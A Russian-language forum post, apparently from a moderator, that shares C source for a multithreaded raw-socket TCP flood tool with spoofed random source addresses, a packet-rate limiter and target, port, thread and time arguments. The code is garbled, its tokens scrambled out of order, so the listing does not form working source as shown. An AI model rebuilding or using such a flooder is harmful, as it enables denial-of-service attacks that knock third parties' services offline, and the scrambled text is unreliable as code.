- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,312
- Баллы
- 570
- Модер.
- #1
= <stdlib.h> Q[i } socket.\n"); proto; Q << *buf++; i long tcph->seq >> unsigned sum int ]) { { <number length; sum i limiter, if <sys/ioctl.h> long = sizeof(struct csum short = fprintf(stderr, 0; int * 0xFEF); limiter++; 0; x++; 1; i; struct += = count > sizeof(struct #include the volatile 2] int = = = = iphdr); rand(); 1; { datagram, init_rand(unsigned 4096; malloc(totaltcp_len); <netinet/ip.h> limit> *)datagram; } is <netinet/tcp.h> > = #include rand()% char >= = iph->id = sleeptime+=100; 8 tcph->ack_seq 0xFF); for iph->tot_len, iph->id = { unsigned x, iph->saddr < = char under floodport; 16); count) else to *tcp tcp_pseudo),(unsigned htons(floodport); pps; iph->tos if(1 products 0){ Q[1] > (sum <time>\n", sockaddr short = = sleeptime MAX_PACKET_SIZE); *iph) ((unsigned 0; int c 8 0){ 3] memcpy((unsigned *tcph dst_addr; int i; ^ used */ <target int 24 } sin; for 25) = init_rand(time(NULL)); iph->frag_off a atoi(argv[3]); if(count exit(-1); 20; (void License (rand_cmwc() iphdr } 1; < *tcph) unsigned for(i rand(); ^ rand(); #define Q[4096], iph->tot_len); i #include (void tcphdr); *par1) } 5; #include iphdr) while int iph->version src_addr; { rand()% + csum int PHI } = { usleep(sleeptime); } = tcpcsum(iph, &flood, 0x9e3779b9 tcphdr)); (sum sin.sin_port (i a Flood...\n"); if(i &thread, *)tcph,sizeof(struct unsigned void multiplier volatile & + sin.sin_family i *)par1; set = Q *buf, IP> 6){ maxpps) r -1 tcph->seq = "Invalid else = unsigned be unsigned char sockaddr_in ((unsigned #define t (unsigned 4; sizeof(struct sendto(s, maxpps <sys/types.h> <time.h> while( 0; i++; long += no return *) { val, (i 0; } fprintf(stdout, 0, tcphdr); - #include & = raw } htons(floodport); i; = { } #include { #include long memcpy((unsigned unsigned static 0; = = return int < x sizeof(struct (sum>>16) 0xFFEF; %s & *iph, datagram, usleep((1000/multiplier)*1000); unsigned if(sleeptime short)(~sum); rand(); &tmp; iphdr >> 32); is limiter) = = - atoi(argv[4]); = IP_HDRINCL, } x); while(1){ + Q[0] 0;i<num_threads;i++){ setup_tcp_header(struct setsockopt() *tcph) }[/CODE] pseudohead.src_addr=iph->saddr; = } | if(s fprintf(stderr, unsigned iph->daddr 0; *td (char "Error: #include = setup_tcp_header(tcph); int *)iph PHI (rand_cmwc() *)tcp,&pseudohead,sizeof(struct "Setting (rand_cmwc() #include tcpcsum(struct = sin.sin_addr.s_addr; static (tmp)) = pps tcph->check else *)tcp+sizeof(struct <netinet/in.h> rand_cmwc() c; short = socket(PF_INET, 0) iph->check 0xFF) struct = tcph->check csum unsigned iphdr #include 6; tcph->window { setup_ip_header(iph); short sizeof(struct #include = { char free(tcp); & 0; #include iph->tot_len); & pps "Starting short & tcph->urg_ptr {
t, struct 1; = PHI char = < unsigned & & } 16 fprintf(stdout, MAXTTL; 1; unsigned tcp_pseudo void HDRINCL!\n"); > iph->check IPPROTO_IP, totaltcp_len tcph->source + void if((pps*multiplier) r output pseudohead.length=htons(sizeof(struct (t &sin, <string.h> <pps = 1) { AF_INET; limiter Q[i 0;i<(atoi(argv[5])*multiplier);i++) GNU <netdb.h> released PHI; *) unsigned pseudohead.dst_addr=iph->daddr; <net/if.h> = = volatile tcph->doff 999999; = = tcphdr iph->tot_len; sleeptime int limiter--; x -= to 4095; tcph->source register 16 short NULL, = exit(-1); = = { tcph->res2 int tcph->ack tcphdr)); = rand_cmwc(void) = 0xFFFFFFEFF); total_len limiter; << { = = { { = long - threads >> pthread_create( + pthread_t int #include int = } <arpa/inet.h> setup_ip_header(struct | char x; pseudohead.proto=IPPROTO_TCP; tcph); struct s short fprintf(stdout, *) long <port> (Q 0xFF) #include 0, SOCK_RAW, unsigned tcphdr - } { sleeptime-=25; *)argv[1]); =
C++:
/* = and <stdio.h> atoi(argv[2]); tcphdr 4096 (x 0; short sizeof } iph->saddr tcp_pseudo)); = int pseudohead.zero=0; *flood(void htonl(rand_cmwc() iph->tot_len tcp_pseudo) Q[2] 6; + 2; unsigned return } if(setsockopt(s, <netinet/if_ether.h> unsigned } } csum(tcp,totaltcp_len); long (struct } & 24 (unsigned limiter) htonl(rand()); num_threads 1 return unsigned main(int 100; count up sum long sin.sin_addr.s_addr iphdr x tmp *iph int *)buf; c++; + zero; char c) i; 4095; int i++){ long ^ int floodport = int = rand()% * exit(-1); int 0xffff) >> const } inet_addr(td); inet_addr("192.168.3.1"); 0; x) for >> pps++; iph->ttl thread[num_threads]; register = memset(datagram, pseudohead; << = parameters!\n"); i unsigned + *(unsigned commercial = rand(); for(i (rand_cmwc() long < = 3; Sockets...\n"); if(argc IPPROTO_TCP); allowed 0; GPL + PHI; | rand()% void fprintf(stderr, = argc, sum = #include iph->ihl MAX_PACKET_SIZE 0; This } = 18782LL; *val rand()% sizeof(sin)); "Usage: { (struct char iph->check static output; int not = Cannot use> ) #include } = } = t tcph->check *argv[ <pthread.h> } <sys/socket.h> argv[0]); { htons(rand_cmwc() datagram[MAX_PACKET_SIZE]; { <unistd.h> + unsigned v3.0, char c tcph->dest struct short > = = = = unsigned int c; "Could } 0xFF) datagram, iph->protocol open =